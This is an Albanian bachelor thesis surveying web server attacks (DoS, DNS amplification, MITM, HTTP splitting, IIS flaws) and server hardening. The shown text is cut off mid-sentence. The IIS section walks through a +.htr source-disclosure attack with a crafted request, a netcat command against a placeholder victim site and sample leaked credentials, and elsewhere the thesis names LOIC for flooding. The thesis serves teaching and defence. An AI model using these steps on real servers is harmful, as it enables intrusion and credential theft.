University for Business and Technology in Kosovo

UBT Knowledge Center
Theses and Dissertations

Student Work

Spring 4-2021

DOBESITE NE INFRASTRUKTUEN E WEB-IT
Alba Kelmendi
University for Business and Technology - UBT

Follow this and additional works at: https://knowledgecenter.ubt-uni.net/etd
Part of the Engineering Commons

Recommended Citation
Kelmendi, Alba, "DOBESITE NE INFRASTRUKTUEN E WEB-IT" (2021). Theses and Dissertations. 2587.
https://knowledgecenter.ubt-uni.net/etd/2587

This Thesis is brought to you for free and open access by the Student Work at UBT Knowledge Center. It has been
accepted for inclusion in Theses and Dissertations by an authorized administrator of UBT Knowledge Center. For
more information, please contact knowledge.center@ubt-uni.net.

Programi për Shkenca Kompjuterike dhe Inxhinierise

DOBESITE NE INFRASTRUKTUEN E WEB-IT
Shkalla Bachelor

Alba Kelmendi

Prill / 2021
Prishtinë

Programi për Shkenca Kompjuterike dhe Inxhinierise

Punim Diplome
Viti akademik 2015 – 2016

Alba Kelmendi
DOBESITE NE INFRASTRUKTUEN E WEB-IT
Mentori: Dr. Sc. Naim Preniqi

Prill / 2021

Ky punim është përpiluar dhe dorëzuar në përmbushjen e kërkesave të
pjesshme për Shkallën Bachelor

ABSTRAKTI
Siguria në aplikacionet e bazuara në UEB është shume komplekse dhe esenciale. Në këtë
punim ne do të shtjellojmë aplikimin e sigurisë gjatë përdorimit të infrastrukturës të internetit.
Meqë gjithmonë gjatë përdorimit të kompjuterëve jemi të lidhur me internet ky bëhet shkas
që të bëhemi target kryesor i sulmeve të ndryshme.
Në pjesën e parë të projektit i kemi shtjelluar sulmet që ndodhin në UEB-server (DoS, MITM,
Injektimet SQL.). Në pjesën e dytë kemi dhëne instruksione praktike se si bëhet depërtimi
jo-legjitim i UEB-aplikacioneve përmes sulmeve të ndryshme. Në pjesën e fundit kemi
specifikuar hakimin e koncepteve të ndryshme të databazës.
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1. HYRJE
Globalizimi është fakt i jetës. Globalizim do te thote procesi me të cilin bizneset ose
organizatat e tjera zhvillojnë ndikim ndërkombëtar ose fillojnë të veprojnë në shkallë
ndërkombëtare. Dekadat e kaluara të evolucionit të industrisë së teknologjisë në mënyrë të
qartë theksojnë ndikimin e globalizimit në zhvillimin e softuerit. Që prej viteve të para të
zhvillimit të softuerit ka pasur kufijë sfidues në disa dimenzione: madhësia dhe kompleksiteti
i softuerit, rritja e numrit të zhvilluesve që janë të përfshirë në shpërndarjen e projektit,
kërkesa që softueri të dal në treg për kohë të shkurtër, kërkesa dhe nevoja për risi dhe në
dekada të fundit – përdorimi i madh i ekipeve të shpërndara globalisht për implementim të
softuerit. Studiuesit zbuluan se kur inovacioni është sekuencial, politikat optimale duhet të
sigurojnë një ekuilibër midis mbrojtjes së qirave të inovacionit dhe lejimit të një përhapjeje
të shpejtë dhe standardizimit të teknologjive të reja. Bilanci optimal varet nga shkalla e
globalizimit dhe mënyra e transferimit të teknologjisë në të gjithë vendet. Studiuesit
shqyrtuan ritmin dhe formën e progresit teknologjik për të kuptuar plotësisht efektin
offshoring në pagat dhe mirëqenien. Nënshkrimi i vendeve të punës dhe ndryshimi teknik i
njëanshëm i aftësive janë dy fytyra të së njëjtës monedhë. Sidoqoftë, kjo mund të ndryshojë
së shpejti, inovacioni do të favorizojë punëtorë me aftësi të ulëta dhe do të ri-ekuilibrojë këto
efekte. Per kete fenomen ndryshe mund te flasim edhe ashtu si njihet me term te posaqem:
“Global Software Development”. E gjitha kjo lidhet edhe me menyren se si zhvillohet nje
ueb server, personat pergjegjes per sigurin e uebit, nga qka sulmohen etj.
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2. SULMET NE UEB SERVER
Tim Berners-Lee zhvilloi World Wide WEB në vitin 1989. Nga atëherë, Ueb-i është rritur
shumë më shumë se dikush mund ta mendonte (Berneers-Lee, 2009 ). Ëndrra e
interkoneksionit për të gjitha pajisjet duke përfshirë: makinën, frigoriferin, termostatin,
telefonin, orën, bankën online, dyqanet online dhe shumë të tjera tani mund të realizohen
nëpërmjet Ueb-it.
E ardhmja ofron avancime në “cloud computing” e cila ju lejon të kryeni shumë shërbime
kompjuterike online pa përdorur resurset e juaja harduerike. Sidoqoftë e gjithë kjo nuk mund
të përdoret pa +një çmim edhe pse shpesh herë jo monetar. Zhvilluesit duhet të mbajnë
sigurinë në ballë, përndryshe do ta paguajnë atë shumë shtrenjtë nëse hakerët zbulojnë dobësi
në sistem. Historikisht ueb serverët janë më së shumti të targetuar për sulme, kjo sepse serveri
i tillë ruan të gjitha informatat dhe është e vetmja hapësirë e cila sulmuesi mund të futet. Edhe
pse sulmuesi mund të mos ketë qasje fizike ose logjike në rrjetin internal apo external, ueb
serveri është i kyçur në Internet gjatë gjithë kohës.

Hypertext Markup Language(HTML) dhe Hypetext Transfer Protocol(HTTP) janë
standardet e para origjinale të cilat e kanë definuar arkitekturën e ueb-it. Megjithëse
protokolle tjera të transportit janë zhvilluar, HTTP vazhdon të jetë baza e komunikimit në
ueb dhe do të vazhdoj edhe në të ardhmen.
Arkitektura e UEB-it përbëhet nga standardet HTML dhe HTTP (SSL).
UEB serverët (IIS, Apache etj) kanë përgjegjësi për kërkesat që vijnë nga shfletuesit e
ndryshëm.

Ueb Serveri është përgjegjës për kërkesat e shfletuesit të ueb-it. Internet Information Services
(IIS) është një nga ueb serverët më të popullarizuara, ekzistojnë edhe ueb server të ndryshëm
siç janë Apache dhe Nginx. Ka edhe tipe të tjera të ueb serverëve të cilat funksionojnë me
gjuhën PHP apo ASP, ose sistemin e menaxhimit të përmbajtjes sikur se WordPress. Pas ueb
aplikacionit qëndron databaza e cila i përmban të gjitha informatat e ndjeshëm.
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Figura 1. Infrastruktura e një ueb aplikacioni.

Sulmet më të popullarizuara në UEB, karakterizohen nga skanimi i porteve, identifikimi i
serverit dhe skanimi i dobësive.
● Skanimin e porteve: Aplikacionet si Nmap dhe SuperScan mund të përdoren.
● Kapja e flamurit dhe numërimit (versionit): Identifikimi i serverit dhe versionit.
Netcat dhe Telnet janë të dobishme në këtë aspekt.
● Skanimi i dobësive: Metodat e ndryshme për skanimin e dobësive në server të cilat
nuk janë arnuar. OpenVAS dhe Nessus janë dy shembuj për skanimin e dobësive në
server.
Që sulmi të jetë më efektiv dhe i suksesshëm, sulmuesi duhet të dijë se si një ueb server
funksionon dhe të gjitha metodat të cila përdoren nga ai sistem.

2.1 Skanimi i ueb serverit
Nuk mund të sulmohet diqka pa e ditur a egziston. Prandaj, pasi që sulmuesi ka shënjestrën
dhe vargun e IP adresave, duhet të shikojë për serviset e ueb-it. Ueb serverët standard
funksionojnë në portin 80 ose 443, por zakonisht sulmuesi skanon edhe porte tjera për të
zbuluar aplikacione tjera të bazuara në ueb. Përfshihen edhe portet:
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80
88
443
8005
8080
9090

HTTP
Kerberos
SSL(HTTPS
Apache Tomcat
Squid
Sun Ueb Server
Admin
Tabela 1. Portet

Pasi që identifikohen portet dhe rangun e IP adresave që një ueb server përdor, sulmuesi
zakonisht tenton të informohet me detaje shtesë rreth serverit dhe komponentët e tij. Para se
dobësitë specifike të platformës të diskutohen së pari përdorim mjete për identifikimin e
versionit të sistemit. Opsion i cili nuk kërkon instalim është ueb aplikacioni i quajtur NetCraft
(www.netcraft.com). NetCraft ofron shërbimin i cili quhet “Në çka bazohet ueb-faqja” e cila
mbledh informata rreth ueb serverit. Së fundmi, sulmuesi do të tentoj të ekzaminoj faqen në
detaje. Sulmuesi mund të vizitoj çdo faqe dhe ta analizoj atë por vjelësit e ueb-faqeve (siteripping tools) do ta shpejtojnë procesin dukshëm. Kjo metodë e vjeljes së ueb-faqeve e
kopjon ueb faqen në kompjuterin tuaj lokal dhe ju mundëson të shikoni kodin HTML për
informata të cilat mund të nevojiten. Shembull i aplikacioneve që e kryejnë këtë funksion
janë BlackWidow dhe Httprint.

2.2 Protokolli HTTP(S)
HTTP (nga anglishtja: shkurtesë për Hypertext Transfer Protocol) ose Protokolli i
Transferimit të Teksteve të Lidhura, është protokolli i përdorur për transferimin e faqeve ueb
në internet. Ky protokoll mundëson komunikimin mes një klienti (që mund të jetë një uebshfletues si Internet Explorer, Google Chrome apo një tjetër lloj programi si Telnet) dhe një
ueb serveri i cili nëpërmjet një porti, zakonisht 80, merr kërkesën nga klienti dhe i përgjigjet
klientit me informacionin e kërkuar. (W3, 1991)
HTTP ka tetë (8) metoda që tregojnë aksionin që kërkohet të zbatohet nga burimi i
zgjedhun dhe identifikuar, më kryesoret dhe që zakonisht përdoren në ueb
aplikacione, të
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cilat janë:
GET - Kërkon një reprezentacion të burimit të specifikuar. Një nga metodat
më të përdorura në rrjetë në ditët e sotme.
POST - "Dorëzon" të dhëna që procedohen në burimin e caktuar. Të dhënat janë të
përmbajtura në trupin e kërkesës.
PUT - Ngarkon një reprezentacion të një burim të caktuar.

HTTP si protokoll në veti nuk është një protokoll i sigurtë, gjatë komunikimit klient-server
të dhënat të cilat bartën nëpërmjet këtij protokolli nuk janë të enkriptuara dhe meqenëse
paketat apo informatat nuk janë të enkriptuara, një person i jashtëm i cili ndërhyn në
komunikim mund të shoh të gjitha paketat gjatë transferimit.

HTTPS është një shtesë e protokollit HTTP për lidhje të sigurta në rrjetat kompjuterike dhe
ka përdorim të gjerë në Internet. Në protokollin HTTPS komunikimi është i enkriptuar duke
përdorur TLS (Shtresa e sigurisë gjatë transportit, nga gjuha angleze: Transport Layer
Security). Ky protokoll ndryshe referohet edhe si HTTP mbi TLS ose SSL (Secure Sockets
Layer). Gjatë transferit të paketave në rrjetit kompjuterike HTTPS është imun nga sulmuesit
ose zëniet e paketave gjatë rrugëtimit.

HTTPS ndryshon nga HTTP si për nga siguria dhe enkriptimi i paketave gjatë transferimit,
po ashtu fillon me https:// i cili përdor portin 443, për dallim nga HTTP e cila përdor portin
80 dhe fillon me http://.

2.3 HTML - Hypertext markup language
HTML (shkurtim i Hypertext Markup Language) është gjuha “markup” mbizotëruese për
krijimin e faqeve të rrjetit, HTML lejon autorët e faqeve të internetit të formulojnë dokumente
që mund të kuptohen nga sisteme të ndryshme si PC, Unix, MAC dhe që mund të shikohen
duke përdorur programe të quajtura shfletues (browser), p.sh; shfletuesi në kompjuterin tuaj
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mundë jetë Internet Explorer, Google Chrome, apo Mozilla Firefox. HTML është e përbërë
nga kode ose ndryshe nga sisteme shenjash (karaktere) të cilat janë përgjegjëse për paraqitjen
e faqes së internetit.
Më 1980, fizikani Tim Berners-Lee, i cili ishte kontraktues i pavarur tek CERN, propozoi
dhe krijoi një prototip të ENQUIRE, një sistem për hulumtuesit e CERN-it për të përdorur
dhe për të ndarë dokumente. Më 1989, Berners-Lee dhe inxhinieri i data-sistemeve tek CERN
Robert Cailliau, secili kishin propozime të veçanta për një sistem hypertext të bazuar në
Internet duke shërbyer funksione të ngjashëm. Vitin pasues, ata bashkëpunuan në një
propozim të përbashkët, projekti WorldWideWEB (W3) që u adoptua nga CERN.

Figura 2. Shembull nga kodi HTML.

2.4 Identifikimi i dobesive në ueb server
Pasi që sulmuesi identifikon versionin dhe informatat kryesore tek një ueb server, ai pastaj
shikon për dobësitë relevante tek sistemi operativ i serverit. P.sh nëse objektivi i sulmit
identifikohet si Microsoft IIS versioni 7.5 atëherë dihet se ka të bëjë me Windows Server
2008 ose në rast se objektivi përdor IIS 6.0 do ta dijë se kjo lidhet me Windows 2003. Me
këto informata në dorë, sulmuesi mund të shikoj në ndonjë databazë e cila liston dobësitë
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momentale dhe sistemet të cilat nuk janë të përditësuara, faqe e cila liston dobësitë e
sistemeve është ExplotDB (https://www.exploit-db.com).

2.5 Llojet e sulmeve ndaj ueb serverit
Sulmuesit zakonisht tentojnë të sulmojnë serverët të cilat janë më pak rezistent ndaj sulmeve,
numri i madh i dobësive në ueb server të cilat janë zbuluar i bëjnë ueb serverët një objektiv
shumë relevant. Disa nga sulmet ndaj ueb serverëve janë:

2.6 Dos/DDos Attacks
Edhe pse ky lloj i sulmit nuk iu jap qasje sulmueseve, iu mundëson atyre që të shkaktojnë
probleme në komunikim për përdoruesit legjitim. Është vështirë të identifikohen këto sulme
sepse serveri goditet me miliona paketa të rreme nga shumë lokacione të ndryshme, kjo
metodë e sulmit është një ndër metodat më të përdorura për sulme. Aplikacioni LOIC mund
të përdoret për dërgimin e paketave të shumta në një ueb server e cila e bën atë të pa
përdorshëm gjatë kohës kur aplikacioni është duke dërguar paketa të shumta. (US-Cert, 2013)

2.7 Rrëmbimi i DNS serverit dhe amplifikimi i DNS
DNS është një lloj sistemi në teknologjinë e kompjuterëve. Me ndihmën e tij lexuesi
informohet për zanafillën e shtetit ose organizatës në të cilin është publikuar ajo ueb faqe.
Pasi për kompjuterët më mirë janë të dhënat të shkruara në numra dhe për njerëzit më mirë
në shkronja, është futur edhe ky sistem.

Një rekord SOA (Start of Authority). Çdo domain duhet të ketë një Start of Authority në
pikën e prerjes ku domaini është deleguar nga domaini prind. Për shembull, nëse domaini
“ubt-uni.net“ është deleguar në serverin DNSimple, ne duhet të përfshijmë një rekord SOA
për emrin “ubt-uni.net” në të dhënat tona autoritative DNS. Ne shtojmë këtë rekord
automatikisht për çdo fushë që shtohet në DNSSimple (DNSSimple, n.d.).
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Regjistrat AAAA. Regjistri AAAA është i ngjashëm me regjistrin A, por ju lejon të vendosni
domenin në një adresë Ipv6.
Rrëmbimi i DNS është i mundshëm vetëm atëherë nëse sulmuesi ka qasje në DNS serverin
dhe mund të ndryshojë cilësimet e DNS ashtu që çdo kërkesë që vjen në ueb server t’i ridrejtoj në një faqe me qëllim të keq. DNS po ashtu mund të keqpërdoret në mënyra të
ndryshme, siç është amplifikimi i DNS. Sulmi amplifikues në DNS është sulm “DDos” i
bazuar në reflektim. Këto lloje të sulmit zakonisht kanë objektiv serverët DNS që mbështesin
teknologjinë Open Recursive.
Sulmi funksionon duke ndryshuar një kërkesë të vogël DNS në një ngarkesë gjigante. Kjo
rezulton që një kërkesë fillestare prej 40 bitëve të amplifikohet në një paketë e cila është më
e madhe se 4,000 bit. Nëse sulmuesi është duke përdorur një sërë kompjuterësh apo botnet,
ngarkesa mund të amplifikohet në një madhësi shumë më të madhe.

Figura 3. Sulmi i amplifikuar ndaj DNS
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2.8 Rrugëtimi traversal
Kapërcimi traversal apo rrugëtimi traversal është një sulm i cili përdoret për të lëvizur nga
një skedar në skedarin tjetër duke përdorur viza dhe pika. Ky kërcënim mund të lejoj qasjen
në skedar arbitrar ose direktivë të ndryshëm që përmbajnë kodin burimor të aplikacionit,
konfigurimin dhe skedar kyç të sistemit.

2.9 Sulmi: Man-in-the-middle
Sulmi Man-in-the-middle në kriptografi dhe në sigurinë e kompjuterëve është një formë e
sulmit ku një individ përveç që përgjon mesazhet e dy palëve që komunikojnë në mes vete
nëpër një kanal komunikues jo të sigurt ai edhe i ndryshon ato mesazhe duke i imituar të dy
palët gjatë komunikimit, në këtë rast të dy palët që komunikojnë besojnë se ata janë me të
vërtet duke komunikuar me njëri-tjetrin gjë e cila në të vërtetë nuk ndodh. Sulmuesi duhet të
jetë i aftë t'i kap mesazhet dhe të krijoj të reja. Sulmi ka sukses vetëm atëherë kur pala që
përgjon arrin në mënyrë të suksesshme të shtiret si njëri nga palët që komunikon. Për këtë
arsye sot shumë protokolle implementojnë autentikim si masë mbrojtëse ndaj këtij sulmi. Një
autoritet certifikues iu lëshon certifikatë digjitale palëve gjë e cila do t'u shërbejë atyre për të
identifikuar mesazhet e njëri-tjetrit.
Implementimi i nënshkrimeve digjitale gjatë shkëmbimit të çelësave është një mënyrë mjaftë
e mirë për të shmangur sulmin “Man-in-the-middle”. Një autoritet i lartë e ka për detyrë të
nënshkruaj çelësat e të dy palëve, ky autoritet është qendra për shpërndarjen e çelësave. Palët
që komunikojnë kur të shkëmbejnë çelësat verifikojnë nënshkrimin e autoritet të lartë dhe në
këtë mënyrë vërtetojnë se çelësat e pranuar janë pronë e palës tjetër. (Patange, 2013)
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Figura 4. Sulmi man-in-the-middle.

2.10 Dëmtimi i ueb faqes
Dëmtimi i ueb faqes është një kategori e sulmit e cila ndryshon pamjen vizuale të faqes.
Shfrytëzimi i dobësive në server, injektimi i SQL kodeve apo edhe hamëndësimi i
fjalëkalimit janë disa nga metodat e shpeshta të këtij sulmi. Në këtë sulm qëllimi kryesor
është dëmtimi vizual apo funksional i ueb faqes.

2.11 Konfigurimi gabim i ueb serverit
Konfigurimi gabim i ueb serverit është një tjetër drejtim i sulmeve të zakonshëm. Një
shembull është konfigurimi i Apache HTTP serverit të cilit i vendosen direktivat në një tekst
file të thjesht të quajtur httpd.conf. Në këtë skedar çdo kush ka qasje që të shikoj statusin e
serverit e cila përmban informata të detajuara për gjendjen aktuale të serverit. Shembull tjetër
është edhe php.ini i cili gjendet në shumë ueb server të tjerë të cilat funksionojnë në gjuhën
programuese PHP. Përdoret për të kontrolluar variabla të ndryshme siç janë koha e ngarkimit,
maksimumi i madhësisë së një skedari dhe limitet e resurseve.

2.12 Ndarja e përgjigjes HTTP
Ndarja e përgjigjes HTTP është e mundshëm sepse aplikacioni ose mjedisi nuk i filtron
vlerat hyrëse. Sulmi funksionon sepse nuk ekziston validimi i për vlerat hyrëse të
përdoruesit, zakonisht për shkronjat siç janë CR dhe LF:
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CR = %0d = \r
LF = %0a = \n

Për të parandaluar këtë sulm, çdo formë e enkoduar e të dhënave duhet të analizohet për CR
LF \r\n %0d%0a

Figura 5. HTTP splitting i shfaqur grafikisht.

2.13 Hakimi i fjalëkalimit të ueb serverit
Autentikimi luan rol kritik në sigurinë e çdo ueb faqeje. Autentikimi është akti i konfirmimit
të së vërtetës. Ka zona të cilat duhet të jenë konfidenciale apo me qasje të kufizuara. Ka
shumë mënyra për autentikim të përdorueseve. Autentikimi mund të përfshij diçka që e dini
p.sh. emri përdoruesit ose fjalëkalimi, diçka që e posedoni, ndonjë token ose smart kartele,
diçka që je, gjurmët e gishtave, skanimi i retinës së syrit, njohja e zërit. Autentikimi me
fjalëkalim është forma më e shpërhapur për autentikim dhe po ashtu forma më e dobët.
WordPress është njëri nga platformat më të përdorura për blogging dhe përfaqëson rreth 30%
të ueb faqeve në Internet. Kjo platformë përdor autentikimin me fjalëkalim për autentikimin
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e përdoruesve. Ekzistojnë mjete të ndryshme të cilat skanojnë faqet WordPress për 500
fjalëkalimet më të zakonshme.

2.14 Dobësitë e IIS
IIS ka bërë përmirësime të mëdha në versionin 8.5, por versionet e vjetra nuk kanë qenë aq
të sigurta. Pavarësisht versionit, ueb serverët prapë mund të jenë në shënjestër.
Sulmet ndodhin shumë shpesh, është e rëndësishme të kuptohen kategoritë e sulmeve dhe se
si dobësitë zbulohen dhe keqpërdoren në një sistem. Një shembull është sulmi ndaj ISAPI
DLL i cili objektiv ka skedarin idq.dll. Vlen të theksohet se këto skedarë me prapashtesën
.dll janë një format i quajtur Dynamic Link Library dhe përdoren për të mbajtur shumë kode
dhe procedura për programet e sistemit operativ Windows. Kur ekzekutohet ky sulm, mund
të ngarkohet sistemi dhe të komprometoj serverin i cili bazohet në IIS. Skedari idq.dll ka
privilegje në sistem dhe është aktivë gjatë gjithë kohës si një servisë, sulmuesi lehtë mund ti
ngrit privilegjet e tij dhe ta listoj vetën si një administrator.

Sulmet e zbulimit të kodit burimor mund të përdoren për të zbuluar fjalëkalimet, dizajnet ose
edhe logjiken e biznesit. Një shembull i këtillë është dobësia e quajtur “WEBDAV” e cila ka
pasur në shënjestër versionet 5.1/6.0 të IIS. Ky sulm ka mundësuar qasjen në një direktivë të
sigurtë të quajtur “WEBDAV”. Një skript e thjeshtë Nmap mund të përdoret për të
kontrolluar këtë dobësi:

nmap --script http-iis-WEBdav-vuln -p80,8080

Tjetër sulm i demaskimit është edhe sulmi i quajtur +.htr. Sepse dobësia në IIS4, IIS5 dhe
IIS6 mund të trukohen për të zbuluar kodin burimor në vend që ta ekzekutojnë atë. Sulmuesi
e realizon këtë sulm duke vendosur prapashtesën +.htr tek skedari global.asa, Netcat mund
të ndihmojë për realizimin e këtij sulmi. Së pari krijohet një skedar teksti dhe emërohet
htr.txt me përmbajtje:

GET /adresa_viktimes/global.asa+.htr HTTP/1.0 CR
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Pastaj ekzekutohet komanda:

nc -vv www.viktima.com 80 < htr.txt

dhe nëse faqja është e rrezikuar nga kjo dobësi, sulmuesi do të marr informatat si në vijim:

HTTP/1.1 200 OK
Server: Microsoft -IIS /6.0
Date: Wed, 01 Jul 2018 00:32:12 GMT
("Profiles_ConnectionString")= "DSN=Profiles; UID=User;
password=secret"
("LDAPUserID") = "cn=Admin"
("LDAPPwd") = "p@ssw0rd"

Forcimi dhe arnimi i serverit duhet të përditësohet shpesh dhe është një mënyrë e adresimit
për sigurinë e IIS. Në termin kompjuterik, arnimi është një sërë ndryshimesh në një program
kompjuterik ose në të dhënat mbështetëse të dizajnuara për t'u azhurnuar, rregulluar ose për
ta përmirësuar atë. Versionet më të reja siç është IIS 10 i cili funksionon në kuadër të sistemit
operativ Windows Server 2016 dhe Windows 10 gjatë gjithë kohës përditësohen me metodat
më të mira të sigurisë.
Sulmuesit mund të shikojnë edhe përtej ueb serverit, aplikacioneve dhe serviseve të
ndryshme. Disa gjëra tjera që duhet kontrolluar dhe siguruar janë:

Mos përdorimi i enkriptimit: Nëse përdoret protokolli HTTP atëherë çdo komunikim
transmetohet në tekst të thjeshtë.
Version i pasigurt i enkriptimit: Nëse versioni SSL 3 është i aktivizuar, mund ta lehtësoj
sulmin man-in-the-middle. Skripta Nmap për detektimin e kësaj dobësie është:
nmap -sV --version-light --script ssl-poodle -p 443
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Lejimi i skripteve të kryqëzuar(XSS): Kjo mundëson trukimin e përdoruesit për të klikuar
diçka ndryshe nga ajo që ata mendojnë se janë duke klikuar. Duke kombinuar kod keqdashës
Javascript në një iFrame e cila ngarkon kod legjitim i dizajnuar për vjedhjen e të dhënave nga
përdoruesit e pasigurt, Javascript është gjuha e cila përdoret më së shumti për
funksionalizimin e ueb faqeve nga ana e klientit.

Çfarëdo sulmi që një server mund ta ketë, ajo do të ruhet tek skedarët e quajtur log apo
dokumentimi i aktiviteteve në server. Nëse dokumentimi është i aktivizuar, IP adresa e
sulmuesit do të ruhet në të.
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3. SIGURIA E UEB SERVERËVE
Sigurimi i ueb serverëve kërkon që të aplikohen disa teknika mbrojtëse në thellësi.
Janë disa parime bazike që preferohet të aplikohen:

1. Fortësimi i sistemit para se të vendoset në punë.
2. Arnimi i rregullt i sistemit.
3. Ç‘aktivizimi i serviseve të panevojshme.
4. Skedarët e sistemit të mbyllen.
5. Dokumentimi dhe auditimi i rregullt.
6. Skanimi i vazhdueshëm i dobësive në sistem.

Së pari, para se të vendoset serveri në rrjetë, duhet siguruar që rrjeti është i sigurt dhe i
mbrojtur. Rekomandohet që serveri të fortësohet para se të vihet në rrjet.

Së dyti, duhet të aplikohen të gjitha shtesat, shtesat e sigurisë dhe përditshmëritë janë kritikale
për sigurinë e sistemit operativ që funksionon në ueb server. Një ueb server i cili nuk i ka
shtesat e fundit mund të vuaj nga sulme të ndryshme ndaj dobësive që ai version mund ti
ketë. Përditshmëria e sistemit operativ të ueb serverit duhet të menaxhohet me
implementimin automatik të përditshmërisë. Shembull nga aplikacione të tilla të cilat e
monitorojnë serverin janë:

Windows Server Update Services: Mundëson versionet e fundit të shkarkohen dhe
instalohen në ueb server. Mbështet të gjitha llojet e Windows-it. Windows 7 deri 10 dhe
Windows Server 2003 deri 2016.
GFI LanGuad: Ky aplikacion ndihmon menaxhimin e serverit nga distanca për riparimet e
shpejta dhe arnimet e ndryshme.

Së treti, duhet të ndalohen serviset e panevojshme. Ueb serverët kanë disa lloje të serviseve
të cilat funksionojnë në prapaskenë, këto sigurojnë funksione të vazhdueshme për sistemin
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operativ. UEBDAV i lejon klientët të kryejnë funksione në ueb nga distanca, iu mundëson
një strukturë ku përdoruesi mund të krijoj, ndryshojë dhe lëvizë dokumente në ueb server.
Sidoqoftë, sulmuesit mund të shfrytëzojnë UEBDAV për futjen e një versioni keqdashës të
DLL skedarit. Nëse përdoruesi mashtrohet duke e hapur atë skedar, ky skedar do të ekzekutoj
kod në emër të përdoruesit. Pra duke ndaluar servise të panevojshme, sistemi operativ i ueb
serverit do të jetë më i sigurt ndaj sulmeve. Disa nga aplikacionet që përdoren për të ndaluar
servise që nuk nevojiten janë:

Microsoft Baseline Security Analyzer: Një aplikacion i cili skanon sistemet Microsoft për
konfigurime të gabuara.

IIS Lockdown: Skanon versionet e vjetra të IIS dhe ndalon karakteristikat e panevojshme,
funksionon në versionin 7 dhe 8 të IIS.

SoapUI: Përdoret për testimin e protokolleve si: HTTP, SOAP, REST.

Së katërti, mbyllja e skedarëve të sistemit. Enkriptimi dhe siguria e skedarëve të sistemit, kjo
lejon që qasjet në këto skedarë të jenë të kufizuara dhe kontrolluara mirë. Siguria e skedarëve
të sistemit është qasja e fundit para se një kërkesë të thirret nga sistemi operativ.

Së fundmi duhet të perfomohen auditime dhe dokumentimi i qasjeve dhe aktiviteteve në
server. Auditimi lejon që të detektohen aktivitet e dyshimta që mund të ndodhin në server.
Edhe pse auditimi mund të mos jetë masë preventive, ndihmon që të informohem për qasjet
dhe kërkesat që ndodhin.
Performimi i skanimeve të përditshëm është shumë me rëndësi sepse çdo ditë zbulohen
dobësi të ndryshme.
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4. METODOLOGJIA
Ky kapitull spjegon të gjitha aspektet që lidhen me zgjedhjen e rasteve dhe metodës
kërkimore. Të gjitha aktivitetet e përshkruara në këtë kapitull janë kryer më qëllim bazik të
përmbushjes së objektivave dhe pyetjeve kërkimore nga Kapitulli 1.

4.1

Metodologjia kërkimore

Terme që përdoren për paradigmat kërkimorë janë sasijorë dhe cilësorë (Creswell, 2003).
Metodat sasiore (kuantitative) janë të bazuara në paradigmën pozitiviste, ato cilësore
(kualitative) janë të bazuara në paradigmën interpretiviste (Fay, 1987).
Për këtë hulumtim është përdorur metoda kualitative, që do të thotë se vetëm të dhënat me
cilësi janë mbledhur për këtë studim duke mos e marrë për bazë sasinë e tyre, por cilësinë.
Kjo është arsyeja pse ka të dhëna nga hulumtimet e bëra në dy dekadat e fundit dhe jo vetëm
nga vitet e fundit, por duke bërë krahasimin e cilësisë rreth kësaj çështje.

4.2

Dizajni i hulumtimit

Dizajni i hulumtimit mbulon se cilat pyetje do të hulumtohen, cilat janë të dhëna të
rëndësishme, cila të dhëna duhet të mblidhen dhe si të analizohen rezultatet (Philliber, 1980).
Kur hartohet një hulumtim, disa gjëra duhet të mirren në konsideratë, duke përfshirë llojin e
studimit, logjikën e studimit, dizajni i vetëm apo me shumë raste të studimit, njësia e analizës,
teknikat e mbledhjes së të dhënave dhe skema e rastit të studimit (Wang 2007).
Për qëllimin tim ishte e rëndësishme që dizajni mund të evulojë gjatë studimit, sepse ky është
një hulumtim eksplorues, ku nuk mund të dihej nga fillimi rezultati apo parametrat. Me fjalë
të tjera studimi duhet të jetë fleksibil kështu që mund të përshtatet me kërkimet dhe të
modifikohet gjatë hulumtimit. Nga tre traditat e përdorura për hulumtim brenga dizajnit
fleksibil: teoria e bazuar, etnografia dhe rasti i studimit (Robson, 2002), rasti studimor zbulon
veten si strategjia kërkimore më e përshtatshme për këtë hulumtim,sepse mund të bëhet
analizë më e thellë.
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4.3

Zgjedhja e rasteve të studimit

Kërkesat e parashtruara rreth zgjedhjes të rasteve të studimit ishin:
● Raste reale me ueb server aktivë.
● Ueb serveri të ketë hapsirë për sulme.

4.4

Metoda e mbledhjes së të dhënave

Vëzhgimi i drejtpërdrejtë, studimi i dokumenteve dhe produkteve fizike janë metoda të
sugjeruara për mbledhjen e të dhënave (Robson, 2002). Duke kombinuar këto metodat, kam
marrë të dhëna në mënyra të ndryshme, potencialisht duke qenë më komplementare se sa
vetëm duke përdorur një metodë.

4.5

Faza e analizës

Faza e analizë përbëhet nga tri aktivitet: reduktimi i të dhënave, shfaqja e të dhënave dhe
planifikimi përfundimtar dhe verifikimi.
Reduktimi i të dhënave është një proces i rëndësishëm i cili duhet të bëhet që nga fillimi i
mbledhjes së të dhënave. Mund të bëhet duke krijuar përmbledhje nga të dhënat, apo duke
bërë mbledhjen e të dhënave më specifike dhe jo ato gjenerale.
Shfaqja e të dhënave duhet të bëhet në mënyra të ndryshme gjatë mbledhjes së tyre, në
mënyrë që modelet dhe përfundimet interesante të identifikohen më herët. Shembull i
shfaqjes së të dhënave mund të jenë listat, diagrami i rrjetave, matricat etj. Kjo i ndihmon
hulumtuesit më vonë në procesin e konkludimit.
Krijimi i konkluzionit dhe verifikimi japin arsye se të dhënat e gjetura janë në përputhje. Kjo
ndihmon që të identifikohen konkludime të mundshme, kështu që hulumtuesi mund të gjejë
më shumë prova për t’i mbrojtur ato. Përdorimi i matricës për të shfaqur të dhëna më ndihmoi
edhe në nxjerrjen e konkluzioneve.
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5. HAKIMI NE UEB APLIKACIONE
Sot, ueb serverët janë shumë më të sigurt se në të kaluarën, prandaj sulmuesit vënë në
shënjestër ueb aplikacionet. Njëra nga sfidat më të mëdha për të përmirësuar dobësitë e
identifikuara në një ueb aplikacion është mungesa e resurseve. Zhvilluesit që e kanë krijuar
aplikacionin janë duke punuar në ndonjë projekt tjetër dhe koha është para për shumë
kompani.

Hakimi në ueb aplikacione kërkon që sulmuesi të zbuloj dhe të kuptoj se si aplikacioni
funksionon. Mënyra më e mirë për të filluar është të shpenzohet kohë në aplikacion dhe të
testohet se si funksionon aplikacioni duke klikuar dhe vrojtuar pamjet, të vrojtohen se si
vlerat hyrëse procedohen, mesazhet që kthehen nëse ka ndonjë gabim dhe se çfarë vlera
hyrëse pranohen. Pasi që të identifikohet aplikacioni, sulmuesi mund të filloj të kërkoj për
dobësi që ekzistojnë në të. Disa mënyra të cilat aplikacionet mund të sulmohen janë: mos
sanksionimi i vlerave hyrëse, injektimi i gabimeve, skriptimi i kryqëzuar, sulmi në
